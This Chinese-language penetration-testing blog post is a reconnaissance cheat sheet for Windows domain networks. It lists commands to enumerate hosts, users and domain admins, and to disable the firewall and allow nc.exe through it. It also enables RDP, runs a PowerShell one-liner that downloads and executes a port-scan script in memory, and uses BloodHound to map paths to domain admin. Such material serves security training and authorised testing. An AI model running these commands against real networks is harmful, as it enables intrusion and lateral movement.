渗透测试进入内网阶段,面对一片 “黑暗森林” 。所以首先对当前的网络环境进行判断。
对当前计算机角色判断,是指判断当前计算机是普通Web服务器、FTP服务器、代理服务器、DNS服务器等
对当前计算机所处网络环境的拓扑结构分析和判断,是指对所在的内网进行全面的数据收集和分析整理,绘制出大致的内网结构拓扑图。
对当前计算机所处区域判断,是指判断计算机处于网络拓扑中哪个区域,是在DMZ区、办公区、还是核心区。
不管是外网还是内网中,信息收集都是第一步。对于内网中的一台机器,其所处的内网的结构是什么样的、其角色是什么样的、使用这台机器的人的角色是什么样的,以及这台机器上安装了什么杀软、这台机器通过什么方式上网、这台机器是笔记本还是台式等问题,都需要通过信息收集来获取。
本机信息包括操作系统、版本、权限、网卡、IP、用户、杀软、端口、服务、补丁更新、网络连接、共享、会话等。如果是域内主机,操作系统、应用软件、补丁、服务、杀软一般都是统一安装的。通过本机信息,推断出域内其他主机信息。
查询操作系统和版本信息
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
查询软件安装及版本,路径
wmic product get name,version
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"
查看自动启动信息和计划任务信息
wmic startup get command,caption
schtasks /query /fo LIST /v
查询端口列列表
netstat -nao
netstat -nao | findstr ESTABLISHED
查询补丁
systeminfo
wmic qfe get Caption,description,InstalledOn
查看共享
net share
wmic share get description,name,path
防火墙配置和开关
# 查看配置
netsh firewall show config
# 关闭防火墙
netsh firewall set opmode disable # 2003以前使用
netsh advfirewall set allprofiles state off # 2003以后使用
# 配置防火墙
# 允许指定程序连入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="c:\nc.exe"
# 允许指定程序连出
netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="c:\nc.exe"
# 3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
远程桌面
# 查看远程桌面端口
reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber
# 2008和2012开启远程桌面
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where(TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
# 注册表开启方法 (推荐使用)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
探测域内存活主机
1. 利用NetBIOS快速探测
nbtscan 192.168.1.1/20 [下载地址:http://www.unixwiz.net/tools/nbtscan.html#download]
- sharing :正在运行文件和打印共享服务,不一定有内容共享
- dc: 可能是域控制器
- u=user : 有登陆名为User的用户
- IIS: 可能安装了IIS服务
- exchange: 可能安装了exchange
- notes : 可能安装了lotus notes 邮件客户端
- ? : 未识别出该机器 的NetBios资源
2.利用ICMP协议探测
循环 ping:
for /L %I in (1,1, 254) do @ping -w 1 -n 1 192.168.1.%I | findstr “TTL=”
3. 通过ARP扫描探测
apr-scan工具:arp.exe -t 192.168.1.1/24 [下载地址:https://gitee.com/RichChigga/arp-scan-windows]
Nishang中的Invoke-ARPScan.ps1脚本
powershell.exe -exec bypass -Command “& {Import-Module c:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.1/24}” >> c:\log.txt
4. 通过常规TCP/UDP端口扫描
scanline工具
scanline -h -t 20,80-89,110,389,445,3389,1099,7001,3306,1433,8080,1521 -u 53,161 -O c:\log.txt -p 192.168.1.1-254 /b
端口扫描
# 单个端口扫描
telnet 192.168.1.1 1433
# s扫描器
s.exe tcp 192.168.1.1 192.168.1.254 445,1433,3389,7001 256 /Banner /save
# Metasploit端口扫描
use auxiliary/scanner/portscan/tcp
# PowerSploit的Invoke-portscan.ps1脚本 无文件落地
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,80,8080,3389' -oA c:\ProgramData\ip_info"
判断是否存在域
ipconfig /all
systeminfo
net config workstation
net time /domain
# 判断主域
- 拒绝访问:存在域,但当前用户不是域用户
- 回显时间:存在域,且当前用户为域用户
- 找不到workgroup的域控制器:不存在域
收集域内基础信息
net view /domain
net group "domain computers" /domain #查询域成员
net accounts /domain # 密码策略
nltest /domain_trusts #查询域信任信息
# 域控定位
nltest /DCLIST:XXX
nslookup -type=SRV _ldap._tcp
net time /domain
net group "domain controllers" /domain
netdom query pdc
# 查询域用户列表
net user /domain
wmic useraccount get /all
dsquery user
net localgroup administrators /domain
# 查询域管理员用户组
net group "domain admins" /domain
net group "Enterprise admins" /domain
获取域内用户和管理员
# 查询所有域用户列表
#向域控制器查询:
net user /domain
#获取域内用户的详细信息:
wmic useraccount get /all
# 查看存在的用户:
dsquery user
# 查询域管理员用户级
# 查询域管理员用户:
net group "Domain admins" /domain
# 查询管理员用户组:
net group "Enterprise Admins" /domain
定位域管理员
#常用域管理员定位 工具
psloggedon.exe [下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon] #有弹窗
可以查看本地登录的用户和通过本地计算机或远程计算机的资源登陆的用户。psloggedon /? 查看帮助文档
PVEFindADUser.exe [下载地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn]
可用于查找 活动目录用户登陆的位置、枚举域用户、以及查找 在特定计算机上登陆的用户。
etview.exe[下载地址:https://github.com/mubix/netview ]
使用WinAPI枚举系统用户,利用NetSessionEnum寻找登陆会话,利用NetShareEnum寻找共享,利用NetWkstaUserEnum枚举登陆的用户
# Nmap的NSE脚本
smb-enum-sessions.nse :获取远程机器的登陆会话
smb-enum-domains.nse:对域控制器进行信息收集,获取主机信息、用户、可使用密码策略的用户
smb-enum-users.nse:
smb-enum-shares.nse:遍历远程主机的共享目录
smb-enum-processes.nse:遍历主机的系统进程
smb-os-discovery.nse:收集目标主机的操作系统、计算机名、域名、域林名称、NetBios机器名、NetBIOS域名、工作组、系统时间等
# PowerView脚本
Invoke-StealthUserHunter
只需要一次查询,就可以获取域里面的所有用户。PowerView默认使用Invoke-StealthUserHunter,如果找不到需要的信息,就使用Invoke-UserHunter
Invoke-UserHunter
找到域内特定的用户群,接收用户名、用户列表和域组查询 ,接收一个主机列表或查询 可用的主机域名
powershell.exe -exec bypass -Command "& {Import-module C:\powerview.ps1;Invoke-UserHunter}"
查找与管理进程
# 本机检查
1、获取域管理员列表
net group "domain admins" /domain
2、列出所有进程列表和进程用户
tasklist /v
3、寻找是否有以域管理员运行的进程
利用Powershell收集域信息
如果想要执行powershell 脚本,就要修改Powershell的执行权限。Powershell常用的执行权限共有四种
Get-ExecutionPolicy 获取当前powershell执行策略
Set-executionPolicy Unrestricted 更改执行策略
PowerView.ps1 #使用
https://github.com/PowerShellMafia/PowerSploit # 项目地址
#导入脚本
import-module .\PowerView.ps1
PowerView.ps1 常用命令
Get-NetDomain #获取当前用户所在域名称
Get-NetUser #获取域内所有用户信息
Get-NetDomainController #获取域内所有域控制器
Get-NetComputer #获取域内所有机器
Get-NetOU #获取域内OU信息
Get-NetGroup #获取域内所有组和成员信息
Get-NetSession #获取指定服务器的会话
Get-NetShare #获取当前域所有的网络共享
Get-NetRDPSession #获取指定服务器的远程连接信息
Get-NetProcess #获取远程主机的进程
Get-UserEvent #获取指定用户日志
Get-ADObject #获取活动目录的对象
Get-NetGPO #获取域内所有组策略对象
Get-DomainPolicy #获取域默认策略或域控制器策略
Invoke-UserHunter #获取域用户等的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter #通过查询域内所有的机器进程找到特定用户
Invoke-UserEventHunter #根据用户日志查询某域用户登录过那些机器
# 绕过 Restricted 权限
powershell.exe -exec bypass -Command "& {Import-module C:\powerview.ps1;Invoke-UserHunter}"
域分析工具 BloodHound
java 11下载 https://www.oracle.com/java/technologies/downloads/#java11
下载 Neo4j数据库 https://neo4j.com/download/
配置环境变量
JAVA_HOME C:\Program Files\jdk-11.0.13
PATH %JAVA_HOME\bin%
NEO4j_HOME C:\neo4j-community-4.1.11
PATH %NEO4J_HOME\bin%
#启动 neo4j数据库
neo4j.bat console
#登录并重置密码
http://localhost:7474
下载 BloodHound https://github.com/BloodHoundAD/BloodHound
运行 BloodHound.exe
连接neo4j数据库
数据采集工具 SharpHound
SharpHound.exe -c all
生产 zip文件,导入BloodHound 进行分析
分析查询功能
***仅用于学习交流,不得用于非法用途 如侵权请私聊博主删文***1、查询所有域管理员 Find all Domain Admins 2、寻找到域管理员的最短路径 Find Shortest Paths to Domain Admins 3、查找具有DCSync权限的主体 Find Principals with DCSync Rights 4、具有外部域组成员资格的用户 Users with Foreign Domain Group Membership 5、具有外部域名组成员资格的组 Groups with Foreign Domain Group Membership 6、映射域信任 Map Domain Trusts 7、到无约束委托系统的最短路径 Shortest Paths to Unconstrained Delegation Systems 8、到达Kerberoastable用户的最短路径 Shortest Paths from Kerberoastable Users 9、从Kerberoastable用户到域管理员的最短路径 Shortest Paths from Kerberoastable Users 10、拥有的主体的最短路径 Shortest Path from Owned Principals 11、从拥有的主体到域管理员的最短路径 Shortest Paths to Domain Admins from Owned Principals 12、到高价值目标的最短路径 Shortest Paths to High Value Targets 13、查找域用户是本地管理员的计算机 Find Computers where Domain Users are Local Admin 14、查找域用户可以读取密码的计算机 Find Computers where Domain Users can read LAPS passwords 15、从域用户到高价值目标的最短路径 Shortest Paths from Domain Users to High Value Targets 16、找到从域用户到高价值目标的所有路径 Find All Paths from Domain Users to High Value Targets 17、找到域用户可以RDP的工作站 Find Workstations where Domain Users can RDP 18、找到域用户可以RDP的服务器 Find Servers where Domain Users can RDP 19、查找域用户组的危险权限 Find Dangerous Rights for Domain Users Groups 20、找到高价值群体中能够支持kerberoable的成员 Find Kerberoastable Members of High Value Groups 21、列出所有kerberoable用户 List all Kerberoastable Accounts 22、查找具有大多数特权的Kerberoastable用户 Find Kerberoastable Users with most privileges 23、查找到非域控制器的域管理登录 Find Domain Admin Logons to non-Domain Controllers 24、查找不支持操作系统的计算机 Find Computers with Unsupported Operating Systems 25、查找AS-REP Roastable用户(DontReqPreAuth) Find AS-REP Roastable Users (DontReqPreAuth)